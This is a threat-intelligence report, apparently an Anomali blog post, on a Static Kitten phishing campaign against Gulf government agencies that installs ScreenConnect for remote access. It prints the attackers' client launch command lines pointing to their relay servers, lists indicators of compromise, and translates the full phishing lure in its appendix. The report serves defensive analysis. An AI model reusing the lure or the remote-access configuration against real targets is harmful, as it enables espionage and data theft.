Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies

anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies

February 9, 2021

Research

<h3>ScreenConnect Remote Access Tool Utilizing Ministry of Foreign Affairs-Themed EXEs and URLs</h3> Authored by: Gage Mele, Winston Marydasan, and Yury Polozov <h2>Key Findings</h2> Anomali Threat Research identified a campaign targeting government agencies in the United Arab Emirates (UAE) and likely the broader Middle East. We assess with medium confidence that the activity is being conducted by Iran-nexus cyberespionage group Static Kitten, due to Israeli geopolitical-themed lures, Ministry of Foreign Affairs (MOFA) references, and the use of file-storage service Onehub that was attributed to their previous campaign known as Operation Quicksand.^[1] The objective of this activity is to install a remote management tool called ScreenConnect (acquired by ConnectWise 2015) with unique launch parameters that have custom properties. Malicious executables and URLs used in this campaign are masquerading as the Ministry of Foreign Affairs (MOFA) of Kuwait (mofa.gov[.]kw). Another sample, including only MOFA (mfa.gov), could be used for broader government targeting. <h2>Overview</h2> Anomali Threat Research has uncovered malicious activity very likely attributed to the Iran-nexus cyberespionage group, Static Kitten (Seedworm, MERCURY, Temp.Zagros, POWERSTATS, NTSTATS, MuddyWater), which is known to target numerous sectors primarily located in the Middle East.^[2] This new campaign, which uses tactics, techniques, and procedures (TTPs) consistent with previous Static Kitten activity, uses ScreenConnect launch parameters designed to target any MOFA with mfa[.]gov as part of the custom field. We found samples specifically masquerading as the Kuwaiti government and the UAE National Council respectively, based on references in the malicious samples. In mid-2020, the UAE and Israel began the process of normalizing relations. Since then, tensions have further escalated in the region, as reported by numerous sources. The targeting of Kuwait could be tied to multiple factors, including Kuwait's MOFA making a public statement that they were willing to lead mediation between Iran and Saudi Arabia.^[3] Furthermore, in October 2020, trade numbers for a peace deal between Israel and UAE included an estimate for the creation of 15,000 jobs and $2 billion in revenue on each side.^[4] In that same month, Static Kitten reportedly conducted Operation Quicksand, which targeted prominent Israeli organizations and included the use of file-storage service OneHub.^[5] <h2>Details</h2> We identified two lure ZIP files being used by Static Kitten designed to trick users into downloading a purported report on relations between Arab countries and Israel, or a file relating to scholarships. The URLs distributed through these phishing emails direct recipients to the intended file storage location on Onehub, a legitimate service known to be used by Static Kitten for nefarious purposes.[6] Anomali Threat Research has identified that Static Kitten is continuing to use Onehub to host a file containing ScreenConnect. The delivery URLs found to be part of this campaign are: <ul> ws.onehub[.]com/files/7w1372el ws.onehub[.]com/files/94otjyvd File names in this campaign include: <ul> تحليل ودراسة تطبيع العلاقات الدول العربية واسرائيل httpsmod[.]gov.kw.ZIP تحليل ودراسة تطبيع العلاقات الدول العربية واسرائيل httpsmod[.]gov.kw.exe الدراسية .zip الدراسية .exe مشروع .docx Translated file names <ul> Analysis and study of the normalization of relations between the Arab countries and Israel httpsmod.gov.kw.zip Analysis and study of the normalization of relations between the Arab countries and Israel httpsmod.gov.kw.exe Scholarships.zip Scholarships.exe Project.docx Static

Kitten’s objective is to direct users to a downloader URL (ws.onehub[.]com/files/7w1372el which downloads a ZIP file) via a phishing email that impersonates an EXE (تحليل ودراسة تطبيع العلاقات الدول العربية واسرائيل httpsmod[.]gov.kw.exe). This EXE purports to be a report on Arabic countries and Israel relations but, when executed, actually launches the installation process for ScreenConnect. A similar second sample uses .docx file that tries to direct users to ws.onehub[.]com/files/94otjyvd which downloads a ZIP file called لدراسية .zip. An EXE inside the ZIP of the same name will also begin the ScreenConnect installation process when executed. An overview of the infection chain is shown in Figure 1below.
 Figure 1 - Static Kitten Campaign Infection Chain <h3>Lure Document Analysis</h3> Static Kitten is distributing at least two URLs that deliver two different ZIP files that are themed to be relevant to government agency employees. The URLs are distributed through phishing emails with lure and decoy documents. An example lure is shown in Figure 2 below.
 Figure 2 – Static Kitten Lure Document .docx The .docx file shown in Figure 2 directly refers to government agency recipients while highlighting concerns about recent Iranian actions, the impact of the US elections, and joint studies by government entities on relations between Arabic countries and Israel. The actors reference multiple official agencies, including the General Secretariat of the Cooperation Council for the Arab States of the Gulf and the UAE National Media Council, likely in an effort to add the appearance of legitimacy. A full translation of this document can be viewed in Appendix A. The hyperlink in the .docx file is impersonating the UAE National Media Council, however, the actual link directs to ws.onehub.com/files/7w1372el. The second file is a ZIP called الدراسية .zip (see Figure 3). We cannot determine the delivery method for this ZIP, but it is likely similar to the .docx email delivery method of the first download URL. The geopolitical-themed ZIP contains an EXE file with the same name that begins the installation process for ScreenConnect when executed (see Figure 4).
 Figure 3 – Download URL ws.onehub.com/files/94otjyvd for Malicious ZIP الدراسية .zip
 Figure 4 - ScreenConnect Installation <h2>Technical Analysis</h2> <h3>ScreenConnect and OneHub Context</h3> Between 2016 and 2020, we have seenScreenConnect and Onehub used in malicious cyber activity by different, unassociated threat actors. For example, between 2016 and 2019 unknown threat actors targeted IT outsourcing firms, including compromising US-based Cognizant and India-based Wipro.^[7] The actors responsible for these attacks used ScreenConnect to connect to endpoints on client networks, enabling them to conduct further lateral movements and automated actions on objectives. During an incident impacting Cognizant and their client Maritz Holdings, actors used ScreenConnect to propagate to other connected systems and caused over $1.8 million (USD) in losses through a gift card fraud scheme.^[6] In 2019, another threat group used ConnectWise to execute PowerShell commands in their target environments. This lead to the delivery of Zeppelin and other VegaLocker ransomware variants, Vidar information stealer, Cobalt Strike beacons, PS2EXE tools, and banker Trojans.[7] In 2020, ScreenConnect/ConnectWise has been utilized by the cybercriminal group Pinchy Spider (GOLD SOUTHFIELD, GOLD GARDEN, Sodinokibi, REvil, GandCrab) to distribute Sodinokibi ransomware.^[8] Remote desktop management software is a common target and tool used by threat actors because of the wide variety of functionalities they offer. ScreenConnect offers three primary functions that each contain different valuable features for threat actors. ScreenConnect’s capabilities are shown in Table 1 below. Table 1 - ScreenConnect Capabilities^[9] <table class="table table-striped"> <thead> <tr> <th>Feature</th> <th>Functions</th> </tr> </thead> <tbody> <tr> <td>Remote Support</td> <td>Remote control and viewing of any internet-connect device. </td> </tr> <tr> <td>Unattended Access</td> <td>Persistent connection allows behind-the-scenes, remote control of any machine or server. </td> </tr> <tr> <td>Meetings</td> <td>Standard screen-sharing meetings with chat and voice communication, record video, and take screenshots.</td> </tr> </tbody> </table> The cybercriminal group Graceful Spider (TA505, Gold Evergreen, TEMP.Warlock, Hive0065, Chimborazo, FIN11) distributed spearphishing emails impersonating Onehub in 2019 in attempts to trick users into downloading the SDBbot remote access trojan (RAT).[10] Onehub’s file-storage services are also utilized in malspam emails to host various malware, as is common with other file storage locations abused by multiple threat actors. <h3>First Executable</h3> تحليل ودراسة تطبيع العلاقات الدول العربية واسرائيل httpsmod.gov.kw.exe When a user tries to double click the executable تحليل ودراسة تطبيع العلاقات الدول العربية واسرائيل httpsmod.gov.kw.exe (Screenconnect payload), it drops the Microsoft installer file. This begins the installation of the client payload onto victim machines. While the actors attempted to make the installation appear legitimate, closer inspection of the client launch parameters reveals the potential for broader MOFA targeting. The client service launch parameters are: "C:\Program Files (x86)\ScreenConnect Client (a97eeae2330a1851)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-uwct38-relay.screenconnect.com&p=443&s=defc756e-8027-47b6-b67f-400b5152b0f9&k=BgIAAACkAABSU0ExAAgAAAEAAQAtuFTxmBL02KmPrJD46iRMPemIxmEf5ugjlUMfa193CjLMeH9pna2eM0ZGHYhe3MZHUE While the ScreenConnectclient agent is being installed, the server component expects a connection and the server can identify the client agent through a public key thumbprint. The thumbprint is a 16 character string located at "C:\Program Files (x86)\ScreenConnect Client (a97eeae2330a1851)” Analysis of the authentic launch parameters passed back to the server as part of Screenconnect functionality is shown in Table 2 below. Table 2 - ScreenConnect Launch Parameters <table class="table table-striped break-word"> <thead> <tr> <th>Launch Parameter</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>e=Access</td> <td>Session type: access, meet, support.</td> </tr> <tr> <td>y=Guest</td> <td>ProcessType (Guest or Host).</td> </tr> <tr> <td>h=instance-sy9at2-relay.screenconnect.com</td> <td>URI to reach server’s relay service.</td> </tr> <tr> <td>p=443</td> <td>Port on which relay service operates</td> </tr> <tr> <td>s=6a1e6739-ad4f-4759-8c69-dfe896b9a817</td> <td>The GUID to identify the client.</td> </tr> <tr> <td>k=BgIAAACkAABSU0ExAAgAAAEAAQCVzMmjXhdfu5xyqTHPWDSj9Qjbq%2bQIlQursvinhHWO9UWKiTPrrR7quzVCpids4AagFWBCbS6cfo</td> <td>The encoded encryption key used to verify the identity.</td> </tr> <tr> <td>&t</td> <td>Is not defined and is the NameCallback Format if

the name of the session was to be given.</td> </tr> </tbody> </table> The main launch parameter that indicates this EXE is designed to target MOFAs are the custom c parameters: <ul> &c=mofa &c=mofa.gov.kw These parameters contain predefined properties that can allow an actor to know which target, or from where, has been infected. In this example the infected target is MOFA. <h3>Second Executable</h3> المنح الدراسية .exe The ScreenConnect launch parameters from المنح الدراسية .exe is shown below: "C:\Program Files (x86)\ScreenConnect Client (03b9d0ec9210f109)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-sy9at2-relay.screenconnect.com&p=443&s=6a1e6739-ad4f-4759-8c69-dfe896b9a817&k=BgIAAACkAABSU0ExAAgAAAEAAQCVzMmjXhdfu5xyqTHPWDSj9Qjbq%2bQIlQursvinhHWO9UWKiTPrrR7quzVCpids4AagFV   The actors again created a custom field parameter, however, this one is kept to a generic MOFA targeting that appears as MFA: <ul> &c=mfa&c=mfa.gov <h2>Conclusion</h2> Utilizing legitimate software for malicious purposes can be an effective way for threat actors to obfuscate their operations. In this latest example, Static Kitten is very likely using features of ScreenConnect to steal sensitive information or download malware for additional cyber operations. As Static Kitten is assessed to be primarily focused on cyberespionage, it is very likely that data-theft is the primary objective behind propagating ScreenConnect to government agency employees. We will continue monitoring this group for additional malicious activity and provide details when appropriate. <h2>MITRE TTPs</h2> Masquerading - T1036
 Phishing - T1566
 Remote Access Software - T1219
 Spearphishing Attachment - T1566.001
 Spearphishing Link - T1566.002
 User Execution - T1204
 User Execution: Malicious File - T1204.002 <h2>Endnotes</h2> ^[1] ClearSky Cyber Security, “Operation Quicksand: Muddywater’s Offensive Attack Against Israeli Organizations,” ClearSky, accessed February 8, 2021, published October 2020, https://www.clearskysec.com/wp-content/uploads/2020/10/Operation-Quicksand.pdf, 3. ^[2] MuddyWater,” MITRE, accessed February 8, 2021 https://attack.mitre.org/groups/G0069/. ^[3] “Kuwait willing to mediate between Iran and Saudi,” Middle East Monitor, accessed February 8, 2021, published February 4, 2021, https://www.middleeastmonitor.com/20210204-kuwait-willing-to-mediate-between-iran-and-saudi/. ^[4] Attila Shumelby, “Intelligence Minister Eli Cohen: Netanyahu secretly visited other countries besides the Emirates,” Ynet, accessed February 8, 2021, published, September 9, 2020, https://www.ynet.co.il/news/article/S1v00IFsXP; Jonathan Josephs, “Israel-UAE peace deal ‘big’ for trade in Middle East,” BBC News, accessed February 8, 2021, published October 16, 2020, https://www.bbc.com/news/business-54574022. ^[5] ClearSky Cyber Security, “Operation Quicksand: Muddywater’s Offensive Attack Against Israeli Organizations,” ClearSky, 23. ^[6] Ibid. ^[7] “Wipro Intruders Targeted Other Major IT Firms,” KrebsOnSecurity, accessed February 8, 2021, published April 18, 2019, https://krebsonsecurity.com/2019/04/wipro-intruders-targeted-other-major-it-firms/#more-47453. ^[8] Ibid. ^[8] Alon Groisman, “Connectwise Control Abused Again to Deliver Zeppelin Ransomware,” Morphisec Blog, accessed February 8, 2021, published December 18, 2019, https://blog.morphisec.com/connectwise-control-abused-again-to-deliver-zeppelin-ransomware. ^[9] “CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS,” Tetra Defense, accessed February 8, 2021, https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis/. ^[9] “Now Let’s Get Tech-y: ScreenConnect’s three main product components create a trio of powerful remote functionality,” ConnectWise Control, accessed February 8, 2021, https://www.screenconnect.com/Remote-Support?t=2&t=2#:~:text=ScreenConnect%20is%20a%20fully%20functional,remote%20support%20on%20the%20fly. ^[10] Dennis Schwarz, et al., “TA505 Distributeds New SDBbot Remote Access Trojan with Get2 Downloader, Proofpoint, accessed February 8, 2021, published October 16, 2019, https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader. <h2>IOCs</h2> Docx
 31a35e3b87a7f81449d6f3e195dc0660b5dae4ac5b7cd9a65a449526e8fb7535 EXE
 3e4e179a7a6718eedf36608bd7130b62a5a464ac301a211c3c8e37c7e4b0b32b
 5bfb635c43eb73f25f4e75961a715b96fa764bbe096086fc1e037a7869c7878b IP
 149.202.216.53 URL
 https://ws.onehub.com/files/94otjyvd
 https://ws.onehub.com/files/7w1372el
 instance-sy9at2-relay.screenconnect.com
 instance-uwct38-relay.screenconnect.com ZIP
 b2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf
 77505dcec5d67cc0f6eb841f50da7e7c41a69419d50dc6ce17fffc48387452e1 <h2>Appendix A</h2> Gentlemen / employees of government agencies Happy New Year After a kind greeting ,,, In view of the situation in the region, especially after the US elections, and concerns about Iran's actions, joint studies have been conducted between the National Media Council and the General Secretariat of the Cooperation Council for the Arab States of the Gulf on counting the political, security and economic consequences of the normalization of relations between Arab countries and Israel. Consequently, the draft studies on negotiations on the normalization of relations between Arab countries and Israel were presented by experts of the member states of the General Secretariat of the Cooperation Council for the Arab States of the Gulf, and in this regard, the National Media Council seeks to conduct a comprehensive survey by the member states. Download the relevant content via the link below. Analysis and study / normalization of relations / Arab countries and Israel / https://nmc.gov.ae Yours sincerely